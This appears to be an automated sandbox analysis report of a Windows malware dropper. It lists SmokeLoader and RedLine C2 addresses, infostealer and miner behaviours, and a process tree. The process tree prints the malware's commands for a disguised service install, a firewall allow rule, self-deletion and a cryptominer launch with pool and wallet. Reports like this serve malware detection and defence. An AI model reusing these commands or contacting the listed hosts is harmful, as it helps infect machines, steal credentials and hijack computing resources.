Analysis

  • max time kernel
    152s
  • max time network
    171s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    20/09/2021, 04:21

General

  • Target
    7fbbd00196a571d86684b068eb31a23516bccd2cacff3.exe
  • Size 243KB
  • Sample210920-eynj2afebk
  • SHA256 7fbbd00196a571d86684b068eb31a23516bccd2cacff35eed53480cc91753ca4
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://venerynnet1.top/

  • http://kevonahira2.top/

  • http://vegangelist3.top/

  • http://kingriffaele4.top/

  • http://arakeishant5.top/

rc4.i32
rc4.i32

Extracted

Family
  • redline

Botnet
  • installEXE

C2
  • 146.70.35.170:30905

Extracted

Family
  • redline

Botnet
  • UDP

C2
  • 45.9.20.20:13441

Extracted

Family
  • redline

Botnet
  • New777

C2
  • 45.67.231.145:10991

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 8 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 15 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 6 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 10 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 6 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 3 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of FindShellTrayWindow 9 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7fbbd00196a571d86684b068eb31a23516bccd2cacff3.exe
    "C:\Users\Admin\AppData\Local\Temp\7fbbd00196a571d86684b068eb31a23516bccd2cacff3.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2040
    • C:\Users\Admin\AppData\Local\Temp\7fbbd00196a571d86684b068eb31a23516bccd2cacff3.exe
      "C:\Users\Admin\AppData\Local\Temp\7fbbd00196a571d86684b068eb31a23516bccd2cacff3.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1488
  • C:\Users\Admin\AppData\Local\Temp\3EA4.exe
    C:\Users\Admin\AppData\Local\Temp\3EA4.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:772
    • C:\Users\Admin\AppData\Local\Temp\3EA4.exe
      C:\Users\Admin\AppData\Local\Temp\3EA4.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:1764
  • C:\Users\Admin\AppData\Local\Temp\428C.exe
    C:\Users\Admin\AppData\Local\Temp\428C.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1176
    • C:\Users\Admin\AppData\Local\Temp\428C.exe
      C:\Users\Admin\AppData\Local\Temp\428C.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1736
  • C:\Users\Admin\AppData\Local\Temp\4B44.exe
    C:\Users\Admin\AppData\Local\Temp\4B44.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:1028
  • C:\Users\Admin\AppData\Local\Temp\A4F8.exe
    C:\Users\Admin\AppData\Local\Temp\A4F8.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:432
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\yecghgyo\
      2⤵
        PID:1668
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xmzvhgzl.exe" C:\Windows\SysWOW64\yecghgyo\
        2⤵
          PID:804
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create yecghgyo binPath= "C:\Windows\SysWOW64\yecghgyo\xmzvhgzl.exe /d\"C:\Users\Admin\AppData\Local\Temp\A4F8.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1808
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description yecghgyo "wifi internet conection"
            2⤵
              PID:1108
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start yecghgyo
              2⤵
                PID:1860
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1588
              • C:\Users\Admin\AppData\Local\Temp\A94D.exe
                C:\Users\Admin\AppData\Local\Temp\A94D.exe
                1⤵
                • Executes dropped EXE
                • Adds Run key to start application
                • Modifies system certificate store
                • Suspicious use of AdjustPrivilegeToken
                PID:1116
                • C:\Windows\system32\WerFault.exe
                  C:\Windows\system32\WerFault.exe -u -p 1116 -s 1476
                  2⤵
                  • Program crash
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1536
              • C:\Users\Admin\AppData\Local\Temp\B4E2.exe
                C:\Users\Admin\AppData\Local\Temp\B4E2.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:760
              • C:\Windows\SysWOW64\yecghgyo\xmzvhgzl.exe
                C:\Windows\SysWOW64\yecghgyo\xmzvhgzl.exe /d"C:\Users\Admin\AppData\Local\Temp\A4F8.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:1596
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:1408
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2472
              • C:\Users\Admin\AppData\Local\Temp\C354.exe
                C:\Users\Admin\AppData\Local\Temp\C354.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:1512
              • C:\Users\Admin\AppData\Local\Temp\C7D7.exe
                C:\Users\Admin\AppData\Local\Temp\C7D7.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:968
              • C:\Users\Admin\AppData\Local\Temp\CD25.exe
                C:\Users\Admin\AppData\Local\Temp\CD25.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:1940
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\CD25.exe"
                  2⤵
                    PID:2236
                    • C:\Windows\SysWOW64\timeout.exe
                      timeout /T 10 /NOBREAK
                      3⤵
                      • Delays execution with timeout.exe
                      PID:2268
                • C:\Users\Admin\AppData\Local\Temp\D264.exe
                  C:\Users\Admin\AppData\Local\Temp\D264.exe
                  1⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious use of SetThreadContext
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1860
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMgAwAA==
                    2⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2068
                  • C:\Users\Admin\AppData\Local\Temp\D264.exe
                    C:\Users\Admin\AppData\Local\Temp\D264.exe
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2620
                • C:\Users\Admin\AppData\Local\Temp\DD00.exe
                  C:\Users\Admin\AppData\Local\Temp\DD00.exe
                  1⤵
                  • Executes dropped EXE
                  PID:1580

                Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

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                      Downloads

                      memory/432-105-0x0000000000020000-0x0000000000033000-memory.dmp

                      memory/432-106-0x0000000000400000-0x000000000044D000-memory.dmp

                      memory/760-118-0x0000000000170000-0x0000000000171000-memory.dmp

                      memory/760-123-0x0000000002B40000-0x0000000002B41000-memory.dmp

                      memory/968-143-0x0000000001D80000-0x0000000001D9F000-memory.dmp

                      memory/968-145-0x0000000000220000-0x0000000000250000-memory.dmp

                      memory/968-151-0x0000000004894000-0x0000000004896000-memory.dmp

                      memory/968-144-0x0000000001F10000-0x0000000001F2E000-memory.dmp

                      memory/968-146-0x0000000000400000-0x0000000000460000-memory.dmp

                      memory/968-150-0x0000000004893000-0x0000000004894000-memory.dmp

                      memory/968-147-0x0000000004891000-0x0000000004892000-memory.dmp

                      memory/968-148-0x0000000004892000-0x0000000004893000-memory.dmp

                      memory/1028-85-0x00000000003B0000-0x00000000003B1000-memory.dmp

                      memory/1028-87-0x0000000005110000-0x0000000005111000-memory.dmp

                      memory/1116-100-0x0000000000020000-0x0000000000021000-memory.dmp

                      memory/1116-104-0x000000001AE60000-0x000000001AE62000-memory.dmp

                      memory/1176-80-0x0000000004940000-0x0000000004941000-memory.dmp

                      memory/1176-71-0x00000000013C0000-0x00000000013C1000-memory.dmp

                      memory/1276-94-0x0000000004080000-0x0000000004095000-memory.dmp

                      memory/1276-65-0x0000000003C10000-0x0000000003C20000-memory.dmp

                      memory/1276-64-0x0000000002E30000-0x0000000002E45000-memory.dmp

                      memory/1408-125-0x0000000000080000-0x0000000000095000-memory.dmp

                      memory/1488-63-0x00000000760B1000-0x00000000760B3000-memory.dmp

                      memory/1488-61-0x0000000000400000-0x0000000000408000-memory.dmp

                      memory/1512-139-0x0000000000220000-0x0000000000221000-memory.dmp

                      memory/1512-135-0x0000000000F40000-0x0000000000F41000-memory.dmp

                      memory/1536-122-0x000007FEFB891000-0x000007FEFB893000-memory.dmp

                      memory/1536-130-0x0000000002300000-0x0000000002301000-memory.dmp

                      memory/1580-169-0x00000000004A0000-0x0000000000530000-memory.dmp

                      memory/1580-170-0x0000000000400000-0x0000000000493000-memory.dmp

                      memory/1596-129-0x0000000000400000-0x000000000044D000-memory.dmp

                      memory/1736-91-0x0000000000400000-0x0000000000422000-memory.dmp

                      memory/1736-88-0x0000000000400000-0x0000000000422000-memory.dmp

                      memory/1736-93-0x0000000004D00000-0x0000000004D01000-memory.dmp

                      memory/1860-155-0x0000000001320000-0x0000000001321000-memory.dmp

                      memory/1860-157-0x00000000012D0000-0x00000000012D1000-memory.dmp

                      memory/1860-207-0x0000000000AA0000-0x0000000000AB9000-memory.dmp

                      memory/1860-206-0x0000000000C40000-0x0000000000C74000-memory.dmp

                      memory/1940-158-0x0000000000400000-0x0000000000563000-memory.dmp

                      memory/1940-149-0x0000000001FD0000-0x00000000020A2000-memory.dmp

                      memory/2040-60-0x0000000000020000-0x0000000000029000-memory.dmp

                      memory/2068-175-0x00000000026D0000-0x00000000026D1000-memory.dmp

                      memory/2068-173-0x0000000001EA0000-0x0000000001EA1000-memory.dmp

                      memory/2068-178-0x0000000005340000-0x0000000005341000-memory.dmp

                      memory/2068-183-0x0000000005710000-0x0000000005711000-memory.dmp

                      memory/2068-188-0x0000000005770000-0x0000000005771000-memory.dmp

                      memory/2068-189-0x000000007EF30000-0x000000007EF31000-memory.dmp

                      memory/2068-190-0x00000000061E0000-0x00000000061E1000-memory.dmp

                      memory/2068-197-0x0000000006300000-0x0000000006301000-memory.dmp

                      memory/2068-198-0x0000000006320000-0x0000000006321000-memory.dmp

                      memory/2068-174-0x0000000004930000-0x0000000004931000-memory.dmp

                      memory/2068-176-0x00000000048F0000-0x00000000048F1000-memory.dmp

                      memory/2068-177-0x00000000048F2000-0x00000000048F3000-memory.dmp

                      memory/2472-199-0x0000000000270000-0x0000000000361000-memory.dmp

                      memory/2620-209-0x0000000000400000-0x0000000000422000-memory.dmp

                      memory/2620-212-0x0000000000400000-0x0000000000422000-memory.dmp

                      memory/2620-214-0x0000000000E20000-0x0000000000E21000-memory.dmp